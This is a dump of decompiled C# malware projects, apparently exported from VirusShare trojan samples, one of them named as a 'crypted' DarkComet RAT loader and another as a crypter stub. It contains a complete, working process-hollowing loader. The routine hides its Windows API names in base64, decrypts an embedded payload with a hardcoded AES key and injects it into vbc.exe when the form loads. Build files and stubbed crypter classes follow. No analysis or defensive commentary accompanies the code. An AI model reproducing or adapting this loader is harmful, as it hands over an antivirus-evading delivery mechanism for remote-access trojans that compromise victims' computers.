public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string name);
|
||||
|
||||
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern IntPtr GetProcAddress(IntPtr handle, [MarshalAs(UnmanagedType.VBByRefStr)] ref string name);
|
||||
|
||||
public T qmbCySaFgF3QdbZfQ3f<T>(string name, string method) => (T) Marshal.GetDelegateForFunctionPointer(Program.Main.GetProcAddress(Program.Main.LoadLibraryA(ref name), ref method), typeof (T));
|
||||
|
||||
public bool qPlSspDxuvlKZtMdLI5H(byte[] qNBbU4pyYLsqEEtxsgB, string qyTXNawV4AASwOaE8C5tj)
|
||||
{
|
||||
Program.Main.qeRGrPG6FO6sNxC1A2Nt rgrPg6Fo6sNxC1A2Nt = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qeRGrPG6FO6sNxC1A2Nt>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("Q3JlYXRlUHJvY2Vzc0E=")));
|
||||
Program.Main.qnoqD6OCdUr6pbBRYB4 qnoqD6OcdUr6pbBryB4 = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qnoqD6OCdUr6pbBRYB4>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("R2V0VGhyZWFkQ29udGV4dA==")));
|
||||
Program.Main.qeqwAQwTLag2kzc1pf qeqwAqwTlag2kzc1pf = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qeqwAQwTLag2kzc1pf>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVhZFByb2Nlc3NNZW1vcnk=")));
|
||||
Program.Main.qCHU691iadVICUdTjNN u691iadVicUdTjNn = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qCHU691iadVICUdTjNN>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("VmlydHVhbEFsbG9jRXg=")));
|
||||
Program.Main.qyjVouAVNRcoDrVPv qyjVouAvnRcoDrVpv = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qyjVouAVNRcoDrVPv>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("V3JpdGVQcm9jZXNzTWVtb3J5")));
|
||||
Program.Main.qDQPdIGhXPEgba2kk dqPdIghXpEgba2kk = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qDQPdIGhXPEgba2kk>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("U2V0VGhyZWFkQ29udGV4dA==")));
|
||||
Program.Main.qCzqpRjBKsbJGCBUezGZ czqpRjBksbJgcbUezGz = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qCzqpRjBKsbJGCBUezGZ>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVzdW1lVGhyZWFk")));
|
||||
Program.Main.qI3gkn6v5InqjRMbB i3gkn6v5InqjRmbB = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qI3gkn6v5InqjRMbB>(Encoding.UTF8.GetString(Convert.FromBase64String("bnRkbGw=")), Encoding.UTF8.GetString(Convert.FromBase64String("WndVbm1hcFZpZXdPZlNlY3Rpb24=")));
|
||||
bool flag;
|
||||
try
|
||||
{
|
||||
IntPtr zero1 = IntPtr.Zero;
|
||||
IntPtr[] qbJTLHORDTYnKbVMJoa = new IntPtr[4];
|
||||
byte[] qhkXStrCpm2qZ32t7J = new byte[68];
|
||||
int int32_1 = BitConverter.ToInt32(qNBbU4pyYLsqEEtxsgB, 60);
|
||||
int int16 = (int) BitConverter.ToInt16(qNBbU4pyYLsqEEtxsgB, checked (int32_1 + 6));
|
||||
IntPtr qrSyJq1jfoCUtXZym24 = new IntPtr(BitConverter.ToInt32(qNBbU4pyYLsqEEtxsgB, checked (int32_1 + 84)));
|
||||
if (rgrPg6Fo6sNxC1A2Nt((string) null, new StringBuilder(qyTXNawV4AASwOaE8C5tj), zero1, zero1, false, 4, zero1, (string) null, qhkXStrCpm2qZ32t7J, qbJTLHORDTYnKbVMJoa))
|
||||
{
|
||||
uint[] numArray1 = new uint[179];
|
||||
numArray1[0] = 65538U;
|
||||
if (qnoqD6OcdUr6pbBryB4(qbJTLHORDTYnKbVMJoa[1], numArray1))
|
||||
{
|
||||
IntPtr qjzv48ZZdYcJYAaWhJTb1 = new IntPtr(checked ((long) numArray1[41] + 8L));
|
||||
IntPtr zero2 = IntPtr.Zero;
|
||||
IntPtr qT1mOUpEYR7NLzOGjEJ = new IntPtr(4);
|
||||
IntPtr zero3 = IntPtr.Zero;
|
||||
if (qeqwAqwTlag2kzc1pf(qbJTLHORDTYnKbVMJoa[0], qjzv48ZZdYcJYAaWhJTb1, ref zero2, (int) qT1mOUpEYR7NLzOGjEJ, ref zero3) && i3gkn6v5InqjRmbB(qbJTLHORDTYnKbVMJoa[0], zero2) == 0U)
|
||||
{
|
||||
IntPtr num1 = new IntPtr(BitConverter.ToInt32(qNBbU4pyYLsqEEtxsgB, checked (int32_1 + 52)));
|
||||
IntPtr num2 = new IntPtr(BitConverter.ToInt32(qNBbU4pyYLsqEEtxsgB, checked (int32_1 + 80)));
|
||||
IntPtr qHvTGYnmxKeylCh5fT5uI = u691iadVicUdTjNn(qbJTLHORDTYnKbVMJoa[0], num1, num2, 12288, 64);
|
||||
int int32_2 = qHvTGYnmxKeylCh5fT5uI.ToInt32();
|
||||
int qM9i6M2sRLy8WVcOT16;
|
||||
int num3 = qyjVouAvnRcoDrVpv(qbJTLHORDTYnKbVMJoa[0], qHvTGYnmxKeylCh5fT5uI, qNBbU4pyYLsqEEtxsgB, checked ((uint) (int) qrSyJq1jfoCUtXZym24), qM9i6M2sRLy8WVcOT16) ? 1 : 0;
|
||||
int num4 = checked (int16 - 1);
|
||||
int num5 = 0;
|
||||
while (num5 <= num4)
|
||||
{
|
||||
int[] dst = new int[10];
|
||||
Buffer.BlockCopy((Array) qNBbU4pyYLsqEEtxsgB, checked (int32_1 + 248 + num5 * 40), (Array) dst, 0, 40);
|
||||
byte[] numArray2 = new byte[checked (dst[4] - 1 + 1)];
|
||||
Buffer.BlockCopy((Array) qNBbU4pyYLsqEEtxsgB, dst[5], (Array) numArray2, 0, numArray2.Length);
|
||||
num2 = new IntPtr(checked (int32_2 + dst[3]));
|
||||
num1 = new IntPtr(numArray2.Length);
|
||||
int num6 = qyjVouAvnRcoDrVpv(qbJTLHORDTYnKbVMJoa[0], num2, numArray2, checked ((uint) (int) num1), qM9i6M2sRLy8WVcOT16) ? 1 : 0;
|
||||
checked { ++num5; }
|
||||
}
|
||||
num2 = new IntPtr(checked ((long) numArray1[41] + 8L));
|
||||
num1 = new IntPtr(4);
|
||||
int num7 = qyjVouAvnRcoDrVpv(qbJTLHORDTYnKbVMJoa[0], num2, BitConverter.GetBytes(qHvTGYnmxKeylCh5fT5uI.ToInt32()), checked ((uint) (int) num1), qM9i6M2sRLy8WVcOT16) ? 1 : 0;
|
||||
numArray1[44] = checked ((uint) (qHvTGYnmxKeylCh5fT5uI.ToInt32() + BitConverter.ToInt32(qNBbU4pyYLsqEEtxsgB, int32_1 + 40)));
|
||||
int num8 = dqPdIghXpEgba2kk(qbJTLHORDTYnKbVMJoa[1], numArray1) ? 1 : 0;
|
||||
}
|
||||
}
|
||||
int num = (int) czqpRjBksbJgcbUezGz(qbJTLHORDTYnKbVMJoa[1]);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
flag = false;
|
||||
ProjectData.ClearProjectError();
|
||||
goto label_11;
|
||||
}
|
||||
flag = true;
|
||||
label_11:
|
||||
return flag;
|
||||
}
|
||||
|
||||
private void Main_Load(object sender, EventArgs e)
|
||||
{
|
||||
RuntimeHelpers.GetObjectValue(My.Resources.Resources.ResourceManager.GetObject("glavni"));
|
||||
this.qPlSspDxuvlKZtMdLI5H(this.q14MA2HFozsRlbG58L(My.Resources.Resources.glavni), Encoding.UTF8.GetString(Convert.FromBase64String("QzpcV2luZG93c1xNaWNyb3NvZnQuTkVUXEZyYW1ld29ya1x2Mi4wLjUwNzI3XHZiYy5leGU=")));
|
||||
this.Close();
|
||||
}
|
||||
|
||||
public byte[] q14MA2HFozsRlbG58L(byte[] qNl84JvwbqNKw4jJmV)
|
||||
{
|
||||
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
|
||||
{
|
||||
rijndaelManaged.IV = new byte[16]
|
||||
{
|
||||
(byte) 9,
|
||||
(byte) 250,
|
||||
(byte) 129,
|
||||
(byte) 35,
|
||||
(byte) 196,
|
||||
(byte) 143,
|
||||
(byte) 210,
|
||||
(byte) 122,
|
||||
(byte) 213,
|
||||
(byte) 4,
|
||||
(byte) 141,
|
||||
(byte) 47,
|
||||
(byte) 82,
|
||||
(byte) 54,
|
||||
(byte) 124,
|
||||
(byte) 86
|
||||
};
|
||||
rijndaelManaged.Key = new byte[16]
|
||||
{
|
||||
(byte) 86,
|
||||
(byte) 124,
|
||||
(byte) 54,
|
||||
(byte) 82,
|
||||
(byte) 47,
|
||||
(byte) 141,
|
||||
(byte) 4,
|
||||
(byte) 213,
|
||||
(byte) 122,
|
||||
(byte) 210,
|
||||
(byte) 143,
|
||||
(byte) 196,
|
||||
(byte) 35,
|
||||
(byte) 129,
|
||||
(byte) 250,
|
||||
(byte) 9
|
||||
};
|
||||
return rijndaelManaged.CreateDecryptor().TransformFinalBlock(qNl84JvwbqNKw4jJmV, 0, qNl84JvwbqNKw4jJmV.Length);
|
||||
}
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public delegate bool qeRGrPG6FO6sNxC1A2Nt(
|
||||
string qJ4vL92xJyzmEBdgnsn,
|
||||
StringBuilder qsba7IfHDHQOZONQbHS,
|
||||
IntPtr qSQpNyYduvV5Hly5h,
|
||||
IntPtr qU6NZyhFhXPMDbBOC,
|
||||
[MarshalAs(UnmanagedType.Bool)] bool qCtwO1dxilNXXhsFP,
|
||||
int qMLVFlsTOOacE88c3j,
|
||||
IntPtr qMfOHLRbqm3TTbdru8M,
|
||||
string qnE3Uqle9Fx1n19FBcKa9,
|
||||
byte[] qhkXStrCpm2qZ32t7J,
|
||||
IntPtr[] qbJTLHORDTYnKbVMJoa);
|
||||
|
||||
public delegate bool qyjVouAVNRcoDrVPv(
|
||||
IntPtr qyjcy6E7wYyarEr9w91r,
|
||||
IntPtr qHvTGYnmxKeylCh5fT5uI,
|
||||
byte[] qjTPa3nkn2aiBe66XJP,
|
||||
uint qrSyJq1jfoCUtXZym24,
|
||||
int qM9i6M2sRLy8WVcOT16);
|
||||
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public delegate bool qeqwAQwTLag2kzc1pf(
|
||||
IntPtr qUVaMfFhfiyix4qaEfP,
|
||||
IntPtr qjzv48ZZdYcJYAaWhJTb1,
|
||||
ref IntPtr qKmzQjxi1xsDIrinp2dyJ,
|
||||
int qT1mOUpEYR7NLzOGjEJ,
|
||||
ref IntPtr qncmptdUrezBlraWd);
|
||||
|
||||
public delegate IntPtr qCHU691iadVICUdTjNN(
|
||||
IntPtr qyZXtgWsPwjydDkNUuUNU,
|
||||
IntPtr qz9nSuWkMNHjhjkts6ZVb,
|
||||
IntPtr qhzjkH5IjNxUPegZcE,
|
||||
int q93LsAe6c9XcpwwoE,
|
||||
int q4oymULPqxYHgrONRbBRS);
|
||||
|
||||
public delegate uint qI3gkn6v5InqjRMbB(
|
||||
IntPtr qFoWGTfKAGvsIrg9I3SO,
|
||||
IntPtr qCRHftU7DfXnGw1TFMowb);
|
||||
|
||||
public delegate uint qCzqpRjBKsbJGCBUezGZ(IntPtr qH2YaFuMgVN7OL2mTik);
|
||||
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public delegate bool qnoqD6OCdUr6pbBRYB4(IntPtr q45ghMgWM37iOMFoV, uint[] qVZSdiWIwXKTdGdL3N);
|
||||
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public delegate bool qDQPdIGhXPEgba2kk(IntPtr qzKcv9umGGGCIFvuA, uint[] q7wYhO4jvPTldbB62vu);
|
||||
}
|
||||
}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.Resources.Resources
|
||||
// Assembly: DarkCometRAT By Woody crypted, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 3F71572C-D491-46DB-83BE-2910DD358446
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace My.Resources
|
||||
{
|
||||
[HideModuleName]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
[DebuggerNonUserCode]
|
||||
[StandardModule]
|
||||
[CompilerGenerated]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) My.Resources.Resources.resourceMan, (object) null))
|
||||
My.Resources.Resources.resourceMan = new ResourceManager("myfking", typeof (My.Resources.Resources).Assembly);
|
||||
return My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => My.Resources.Resources.resourceCulture;
|
||||
set => My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
|
||||
internal static byte[] glavni => (byte[]) RuntimeHelpers.GetObjectValue(My.Resources.Resources.ResourceManager.GetObject(nameof (glavni), My.Resources.Resources.resourceCulture));
|
||||
}
|
||||
}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{6EA43F36-F1CB-47A6-BE41-C5274E442200}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>DarkCometRAT By Woody crypted</AssemblyName>
|
||||
<ApplicationVersion>0.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>My</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Program\Main.cs" />
|
||||
<Compile Include="MyApplication.cs" />
|
||||
<Compile Include="MyComputer.cs" />
|
||||
<Compile Include="MyProject.cs" />
|
||||
<Compile Include="Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="myfking.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DarkCometRAT By Woody crypted", "Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1.csproj", "{6EA43F36-F1CB-47A6-BE41-C5274E442200}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{6EA43F36-F1CB-47A6-BE41-C5274E442200}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{6EA43F36-F1CB-47A6-BE41-C5274E442200}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{6EA43F36-F1CB-47A6-BE41-C5274E442200}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6EA43F36-F1CB-47A6-BE41-C5274E442200}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+4742
File diff suppressed because it is too large
Load Diff
+163
@@ -0,0 +1,163 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: 2Enr58LioYwyemMtXQ.CIf5Tfy7x4aAASu1I7
|
||||
// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E7482193-993A-4E14-A111-60CAB09B5D25
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe
|
||||
|
||||
using \u0032Enr58LioYwyemMtXQ;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using w4HscHkVC8kusVwrdY;
|
||||
|
||||
namespace \u0032Enr58LioYwyemMtXQ
|
||||
{
|
||||
internal class CIf5Tfy7x4aAASu1I7 : IDisposable
|
||||
{
|
||||
private string[] SLLKh68TN;
|
||||
private CIf5Tfy7x4aAASu1I7.JRd3aG0bVecAXLqUuq lXXRyJxDc;
|
||||
private ResourceManager g5GX0IeHD;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public CIf5Tfy7x4aAASu1I7([In] string[] obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public byte[] \u0037V662slap([In] string obj0) => (byte[]) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private byte[] pOvqx9di1([In] byte[] obj0) => (byte[]) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void QchSdo05e()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public int Bq6xxF3Iu() => 0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private Assembly \u00368lLkZbCs([In] object obj0, [In] ResolveEventArgs obj1) => (Assembly) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void Xly1kQcMJ([In] object obj0, [In] UnhandledExceptionEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void JTG8p4O48([In] object obj0, [In] ThreadExceptionEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void Dispose()
|
||||
{
|
||||
}
|
||||
|
||||
static CIf5Tfy7x4aAASu1I7() => GeQKoeh9BTa5jMZgSa.duwLblChk();
|
||||
|
||||
private class JRd3aG0bVecAXLqUuq
|
||||
{
|
||||
private bool yt8lpkObe;
|
||||
private Dictionary<string, string> \u0036eDEI2B1F;
|
||||
private string Bch3JDYWk;
|
||||
private bool Rshf50na5;
|
||||
private DateTime k74OoHyPj;
|
||||
private bool WNU40tBCh;
|
||||
private string oeay0HGTH;
|
||||
private string bE9wsnvsX;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public bool \u0037V662slap() => true;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void pOvqx9di1([In] bool obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public Dictionary<string, string> Bq6xxF3Iu() => (Dictionary<string, string>) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void \u00368lLkZbCs(Dictionary<string, string> value)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public string JTG8p4O48() => (string) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void SLLKh68TN([In] string obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public bool g5GX0IeHD() => true;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void \u0037pM0wx9oX([In] bool obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public DateTime yuiCStSd4() => \u003CPrivateImplementationDetails\u003E\u007B1A87F548\u002D4C52\u002D405F\u002DACA9\u002D5C7516133B32\u007D.fieldimpl1;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void ZRPdAGXCx([In] DateTime obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public bool XJjQNA2Ii() => true;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void YVYrq0KFe([In] bool obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public string \u00323jYp3wfq() => (string) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void VB0gIOAm6([In] string obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public string dpKDqvqRq() => (string) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void aTNbsqnpF([In] string obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public JRd3aG0bVecAXLqUuq()
|
||||
{
|
||||
}
|
||||
|
||||
static JRd3aG0bVecAXLqUuq() => GeQKoeh9BTa5jMZgSa.duwLblChk();
|
||||
}
|
||||
}
|
||||
}
|
||||
BIN
Binary file not shown.
BIN
Binary file not shown.
+39
@@ -0,0 +1,39 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: 6aUUGEwoy4IPkuhQ9T.rLi63w14TdP7cfZClg
|
||||
// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E7482193-993A-4E14-A111-60CAB09B5D25
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe
|
||||
|
||||
using System;
|
||||
using System.Collections.Specialized;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using w4HscHkVC8kusVwrdY;
|
||||
|
||||
namespace \u0036aUUGEwoy4IPkuhQ9T
|
||||
{
|
||||
internal class rLi63w14TdP7cfZClg
|
||||
{
|
||||
private string P6Wt3riVR;
|
||||
private string duwLblChk;
|
||||
private Exception osqYU8eYW;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public rLi63w14TdP7cfZClg([In] string obj0, [In] string obj1, [In] Exception obj2)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void \u0038V86rIGjo()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private NameValueCollection B5PqZKD3x() => (NameValueCollection) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private string GV0SDAE8F([In] string obj0, [In] string obj1) => (string) null;
|
||||
|
||||
static rLi63w14TdP7cfZClg() => GeQKoeh9BTa5jMZgSa.duwLblChk();
|
||||
}
|
||||
}
|
||||
BIN
Binary file not shown.
+17
@@ -0,0 +1,17 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: SuppressIldasm]
|
||||
[assembly: AssemblyDelaySign(false)]
|
||||
[assembly: AssemblyKeyName("")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyCopyright(" ")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyProduct("CrIpterStub")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyTitle("CrIpterStub")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyDescription("CrIpterStub")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: HDguCTSKZp1F5uk7B2.CmcPEFq8EUo2sAUg3P
|
||||
// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E7482193-993A-4E14-A111-60CAB09B5D25
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe
|
||||
|
||||
using \u0032Enr58LioYwyemMtXQ;
|
||||
using aK4dwpMEPpoyCr92ll;
|
||||
using b4ZCm5KbAknf3O2Ixs;
|
||||
using IpAscgifhxuNqPiEoR;
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
using w4HscHkVC8kusVwrdY;
|
||||
|
||||
namespace HDguCTSKZp1F5uk7B2
|
||||
{
|
||||
internal class CmcPEFq8EUo2sAUg3P
|
||||
{
|
||||
[STAThread]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private static void \u0037V662slap([In] string[] obj0)
|
||||
{
|
||||
CHskyceuVnH7qeGTX6.b4QmQJlpj6Xkl();
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
CUme9i4KCMod2luIIH.qq3VZGcpG11Uo();
|
||||
try
|
||||
{
|
||||
using (CIf5Tfy7x4aAASu1I7 cif5Tfy7x4aAaSu1I7 = new CIf5Tfy7x4aAASu1I7(obj0))
|
||||
Environment.Exit(cif5Tfy7x4aAaSu1I7.Bq6xxF3Iu());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
using (Ll83YO8eqnqhEteIfC ll83Yo8eqnqhEteIfC = new Ll83YO8eqnqhEteIfC(ex, false, string.Empty, string.Empty, string.Empty))
|
||||
{
|
||||
int num = (int) ll83Yo8eqnqhEteIfC.ShowDialog();
|
||||
Environment.Exit(-99);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
